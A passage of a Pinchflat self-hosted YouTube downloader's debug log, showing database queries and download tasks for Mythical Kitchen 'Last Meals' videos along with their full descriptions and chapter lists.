Growing Up In Government Housing\n4:05 Chefs & Athletes\n5:55 Never Pick A Favorite Child\n6:54 The Hot Ones Wings\n7:19 2nd Course - Butter Chicken, In-N-Out, & Buffalo Wings\n8:03 Seeking Adventure & Memento Mori\n8:46 Gordon Loves In-N-Out\n10:04 Fondness for Fish Head Curry\n12:05 Hungry for New Techniques\n13:02 Motivation vs. Abuse\n14:46 Depression in The Restaurant Industry\n17:14 Toxic Work Environments\n19:25 US Culinary Schools Are Depressing\n20:20 Kitchen Nightmares\n21:28 3rd Course - Beef Wellington & Gin & Tonic\n23:57 Wellington Criticism from Mrs. Ramsay\n24:59 Get Drunk At Gordon's Funeral\n25:45 Gordon Is Too Busy To Think About Death\n27:33 Chefs Have The Worst Eating Habits\n28:15 Josh Almost Worked In Restaurants\n30:16 Gordon Loves the Pressure\n31:04 4th Course - Sticky Toffee Pudding & Deep Fried Mars Bar\n32:40 Gordon's Hardworking Mom\n31:33 Lessons On Parenting\n35:57 Connection Through Grief\n36:58 Gordon's Cooking Legacy\n37:53 Who's The One Person You'd Want To Share Your Last Meal With?\n38:00 What Song Do You Want Played At Your Funeral?\n38:13 Who Is The One Footballer You Wish You Could Have Slide-Tackled?\n38:24 What's Your Biggest Fear?\n38:29 How Many Jamie Olivers Could You Beat In A Fight?\n38:42 What's Your Greatest Regret?\n38:52 Which Burbank Parking Lot Would You Like To Wrestle Josh In?\n39:20 Gordon's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon" <> ..., "Gordon Ramsay Eats His Last Meal", "e2259871-87d6-43cb-bd87-8e65a3b88a6a", "https://www.youtube.com/watch?v=ENhfIeZF_AY", false, "ENhfIeZF_AY", 2388, false, 92, "/downloads/Last Meals/2024-01-09 Gordon Ramsay Eats His Last Meal/Gordon Ramsay Eats His Last Meal [ENhfIeZF_AY].mp4", false, false, 1, [], 0, ~U[2024-01-09 11:00:22Z], ~U[2026-03-28 00:49:20Z], ~U[2026-03-28 00:49:20Z], "Today, Josh is cooking Gordon Ramsay's last meal.\n\nWe’re going on tour!! Visit https://goodmythicaltour.com for info & tickets:\nMythical Society Presale: January 10 - 11, 2024\nGeneral Onsale: January 12, 2024\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Gordon's Last Meal Menu\n0:29 The Controversial Grilled Cheese\n1:43 Rehearsal For The Funeral\n2:38 1st Course - Full English Breakfast\n3:00 Growing Up In Government Housing\n4:05 Chefs & Athletes\n5:55 Never Pick A Favorite Child\n6:54 The Hot Ones Wings\n7:19 2nd Course - Butter Chicken, In-N-Out, & Buffalo Wings\n8:03 Seeking Adventure & Memento Mori\n8:46 Gordon Loves In-N-Out\n10:04 Fondness for Fish Head Curry\n12:05 Hungry for New Techniques\n13:02 Motivation vs. Abuse\n14:46 Depression in The Restaurant Industry\n17:14 Toxic Work Environments\n19:25 US Culinary Schools Are Depressing\n20:20 Kitchen Nightmares\n21:28 3rd Course - Beef Wellington & Gin & Tonic\n23:57 Wellington Criticism from Mrs. Ramsay\n24:59 Get Drunk At Gordon's Funeral\n25:45 Gordon Is Too Busy To Think About Death\n27:33 Chefs Have The Worst Eating Habits\n28:15 Josh Almost Worked In Restaurants\n30:16 Gordon Loves the Pressure\n31:04 4th Course - Sticky Toffee Pudding & Deep Fried Mars Bar\n32:40 Gordon's Hardworking Mom\n31:33 Lessons On Parenting\n35:57 Connection Through Grief\n36:58 Gordon's Cooking Legacy\n37:53 Who's The One Person You'd Want To Share Your Last Meal With?\n38:00 What Song Do You Want Played At Your Funeral?\n38:13 Who Is The One Footballer You Wish You Could Have Slide-Tackled?\n38:24 What's Your Biggest Fear?\n38:29 How Many Jamie Olivers Could You Beat In A Fight?\n38:42 What's Your Greatest Regret?\n38:52 Which Burbank Parking Lot Would You Like To Wrestle Josh In?\n39:20 Gordon's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.m (truncated) 20:49:20.896 [debug] QUERY OK source="sources" db=0.1ms idle=717.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:20.897 [debug] QUERY OK source="media_profiles" db=0.1ms idle=17.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:20.897 [debug] QUERY OK source="media_items" db=0.1ms idle=17.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [107] 20:49:20.897 [info] Kicking off download for media item #107 (ENhfIeZF_AY) 20:49:20.900 [debug] QUERY OK source="tasks" db=0.1ms idle=3.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [106, 107, ~U[2026-03-28 00:49:20Z], ~U[2026-03-28 00:49:20Z]] 20:49:20.900 [debug] Current batch of media processed. Will check again in 1000ms 20:49:20.977 [info] GET /settings 20:49:20.977 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 20:49:20.978 [debug] QUERY OK source="settings" db=0.1ms idle=80.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:20.978 [debug] QUERY OK source="settings" db=0.0ms idle=80.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:20.978 [debug] QUERY OK source="settings" db=0.0ms idle=80.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:20.978 [debug] QUERY OK source="settings" db=0.0ms idle=78.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:49:20.979 [info] Sent 200 in 1ms 20:49:21.062 [info] CONNECTED TO Phoenix.LiveView.Socket in 19µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "IygFB10JPQRoX1U2CH0YG2MbbXZPGiQIHOWd3lDh8leAP1wXQXZGxMRe", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:49:21.131 [debug] MOUNT Pinchflat.Settings.AppriseServerLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "value" => nil} 20:49:21.131 [debug] Replied in 136µs 20:49:21.132 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:49:21.132 [debug] Replied in 124µs 20:49:21.901 [debug] Current batch of media processed. Will check again in 1000ms 20:49:22.902 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Priyanka Chopra Jonas eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS \n0:00 Priyanka's Last Meal\n0:20 Winner of the May Queen Ball \n2:20 Have You Thought About Your Last Meal Before?\n4:27 1st Course\n6:07 Hot Dogs, Hot Pockets, & a Hot Boy with Green Hair\n7:17 From India to Iowa\n9:30 Learning From Parents\n13:27 The Serendipitous Nature of the Universe\n14:55 2nd Course\n15:20 Kebab History\n20:44 Priyanka's First Movie\n21:45 Relationship to Religion\n24:00 Bollywood is not a Genre\n27:00 3rd Course\n29:40 Miss World Pageant Riddle\n31:56 How Far Would a Woman Go To Protect Her Family?\n34:18 Badass Female Pirates\n36:29 4th Course\n38:59 \"My Dad Was My Biggest Champion\"\n42:47 Nick Is a Wise Soul\n44:19 5th Course\n45:40 Love in Every Lifetime\n49:10 What Do You Think Happens When You Die?\n50:19 Lightning Round\n51:43 Priyanka's Last Words\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 3200, "filename" => "/downloads/Last Meals/2026-03-03 Priyanka Chopra Jonas Eats Her Last Meal/Priyanka Chopra Jonas Eats Her Last Meal [NrFf7zEOGO4].mp4", "id" => "NrFf7zEOGO4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NrFf7zEOGO4", "playlist_index" => 93, "timestamp" => 1772535628, "title" => "Priyanka Chopra Jonas Eats Her Last Meal", "upload_date" => "20260303"} 20:49:22.903 [debug] QUERY OK source="sources" db=0.1ms idle=845.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:22.903 [debug] QUERY OK source="sources" db=0.1ms idle=845.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:22.903 [debug] QUERY OK source="media_items" db=0.2ms idle=846.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-03 11:00:28Z], 1] 20:49:22.905 [debug] QUERY OK source="media_items" db=0.8ms idle=846.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Priyanka Chopra Jonas eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS \n0:00 Priyanka's Last Meal\n0:20 Winner of the May Queen Ball \n2:20 Have You Thought About Your Last Meal Before?\n4:27 1st Course\n6:07 Hot Dogs, Hot Pockets, & a Hot Boy with Green Hair\n7:17 From India to Iowa\n9:30 Learning From Parents\n13:27 The Serendipitous Nature of the Universe\n14:55 2nd Course\n15:20 Kebab History\n20:44 Priyanka's First Movie\n21:45 Relationship to Religion\n24:00 Bollywood is not a Genre\n27:00 3rd Course\n29:40 Miss World Pageant Riddle\n31:56 How Far Would a Woman Go To Protect Her Family?\n34:18 Badass Female Pirates\n36:29 4th Course\n38:59 \"My Dad Was My Biggest Champion\"\n42:47 Nick Is a Wise Soul\n44:19 5th Course\n45:40 Love in Every Lifetime\n49:10 What Do You Think Happens When You Die?\n50:19 Lightning Round\n51:43 Priyanka's Last Words\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Priyanka Chopra Jonas Eats Her Last Meal", "336a53e2-f826-411b-8fc3-7858d65f4f5d", "https://www.youtube.com/watch?v=NrFf7zEOGO4", false, "NrFf7zEOGO4", 3200, false, 93, "/downloads/Last Meals/2026-03-03 Priyanka Chopra Jonas Eats Her Last Meal/Priyanka Chopra Jonas Eats Her Last Meal [NrFf7zEOGO4].mp4", false, false, 1, [], 0, ~U[2026-03-03 11:00:28Z], ~U[2026-03-28 00:49:22Z], ~U[2026-03-28 00:49:22Z], "Today, Priyanka Chopra Jonas eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS \n0:00 Priyanka's Last Meal\n0:20 Winner of the May Queen Ball \n2:20 Have You Thought About Your Last Meal Before?\n4:27 1st Course\n6:07 Hot Dogs, Hot Pockets, & a Hot Boy with Green Hair\n7:17 From India to Iowa\n9:30 Learning From Parents\n13:27 The Serendipitous Nature of the Universe\n14:55 2nd Course\n15:20 Kebab History\n20:44 Priyanka's First Movie\n21:45 Relationship to Religion\n24:00 Bollywood is not a Genre\n27:00 3rd Course\n29:40 Miss World Pageant Riddle\n31:56 How Far Would a Woman Go To Protect Her Family?\n34:18 Badass Female Pirates\n36:29 4th Course\n38:59 \"My Dad Was My Biggest Champion\"\n42:47 Nick Is a Wise Soul\n44:19 5th Course\n45:40 Love in Every Lifetime\n49:10 What Do You Think Happens When You Die?\n50:19 Lightning Round\n51:43 Priyanka's Last Words\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Priyanka Chopra Jonas Eats Her Last Meal", "https://www.youtube.com/watch?v=NrFf7zEOGO4", "NrFf7zEOGO4", 3200, false, "/downloads/Last Meals/2026-03-03 Priyanka Chopra Jonas Eats Her Last Meal/Priyanka Chopra Jonas Eats Her Last Meal [NrFf7zEOGO4].mp4", false, 1, ~U[2026-03-03 11:00:28Z]] 20:49:22.905 [debug] QUERY OK source="sources" db=0.0ms idle=722.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:22.905 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:22.905 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [108] 20:49:22.905 [info] Kicking off download for media item #108 (NrFf7zEOGO4) 20:49:22.906 [debug] QUERY OK source="tasks" db=0.0ms idle=1.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [107, 108, ~U[2026-03-28 00:49:22Z], ~U[2026-03-28 00:49:22Z]] 20:49:22.906 [debug] Current batch of media processed. Will check again in 1000ms 20:49:23.907 [debug] Current batch of media processed. Will check again in 1000ms 20:49:24.908 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Christoph Waltz eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFirst Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oJGpzg7kxsA5Xm0a9E8YInt\nCheat Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLH467HdBFcQKbu4jkxxM5Y\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Christoph's Last Meal\n1:11 Have You Thought About Your Last Meal Before?\n2:20 How Often Do You Think About Death?\n3:22 1st Course\n8:05 How To Drink Milk Like A Villain\n9:37 The Social Damage Of Narcissim\n11:42 2nd Course\n12:57 Process Over Death\n16:49 The Allegory Of Frankenstein\n21:18 Working With Guillermo del Toro\n22:39 I'd Like To Laugh On My Deathbead\n23:25 3rd Course\n26:18 Living An Examined Life\n28:40 Abandon Your Certainty\n30:54 Working With Quentin Tarantino\n32:14 4th Course\n34:40 The Meaning Of Life\n36:33 Astrology Mapping\n37:48 What Do You Think Happens When You Die?\n39:33 Lightning Round\n40:53 Christoph's Last Words\n\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2498, "filename" => "/downloads/Last Meals/2025-10-30 Christoph Waltz Eats His Last Meal/Christoph Waltz Eats His Last Meal [sBRbMvTlUok].mp4", "id" => "sBRbMvTlUok", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sBRbMvTlUok", "playlist_index" => 94, "timestamp" => 1761818497, "title" => "Christoph Waltz Eats His Last Meal", "upload_date" => "20251030"} 20:49:24.909 [debug] QUERY OK source="sources" db=0.1ms idle=851.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:24.909 [debug] QUERY OK source="sources" db=0.0ms idle=851.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", 